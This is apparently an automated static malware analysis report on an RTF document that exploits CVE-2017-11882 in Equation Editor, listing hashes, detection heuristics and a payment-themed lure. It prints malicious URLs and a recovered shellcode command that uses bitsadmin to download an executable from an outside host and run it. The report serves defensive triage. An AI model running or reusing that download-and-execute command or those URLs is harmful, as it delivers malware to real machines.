Malicious RTF — malware analysis report

Static analysis result for SHA-256 ed442fd82b5b7783…

MALICIOUS

RTF

10.7 KB Authoring application: Riched20 6.3.9600 First seen: 2021-06-28
MD5: 65de0c382d3929da847a2f844e06c0e8 SHA-1: 759c46dec79a59a7b9ce7d1a04f770ebb9762175 SHA-256: ed442fd82b5b7783676b028d25b9f912dd8f7880e7238444ee9f66efa46e21f5
382 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is an RTF document exploiting CVE-2017-11882 via the Equation Editor object. The document body instructs the user to visit a URL to complete a payment request, which is a common lure for phishing or malware delivery. The embedded URL and a second extracted URL likely serve as download locations for malicious payloads.

Heuristics 9

  • Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR
    Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
  • CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882
    Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
  • ClamAV: Rtf.Exploit.CVE_2017_11882-6584355-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Rtf.Exploit.CVE_2017_11882-6584355-1
  • Equation Editor object class critical RTF_OBJCLASS_EQUATION
    Object class 'equation.3' references Equation Editor
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • \objupdate forces OLE activation high RTF_OBJUPDATE
    RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
  • OLE object data medium RTF_OBJDATA
    RTF contains 1 \objdata section(s) — embedded OLE objects
  • Embedded OLE object medium RTF_OBJEMB
    RTF contains \objemb — embedded OLE object
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://uncc.ch/confirm_email/d42e12e16de7e8e9379bb2a9fb2341c938765 In RTF body
    • http://docuserver1.com/d/doc.exeIn RTF body

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off00000420.bin rtf-objdata-decoded RTF \objdata at offset 0x420 3546 bytes
SHA-256: dd5afaf0ae721e2aff6fe54d314e8d352c945b590434bcccf0460e49f3f7f0bc
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): http://docuserver1.com/d/doc.exe Static shellcode analysis recovered command string(s): cmd.exe /c bitsadmin /transfer 8 /download http://docuserver1.com/d/doc.exe %temp%\Rg.Exe&%temp%\Rg.Exe

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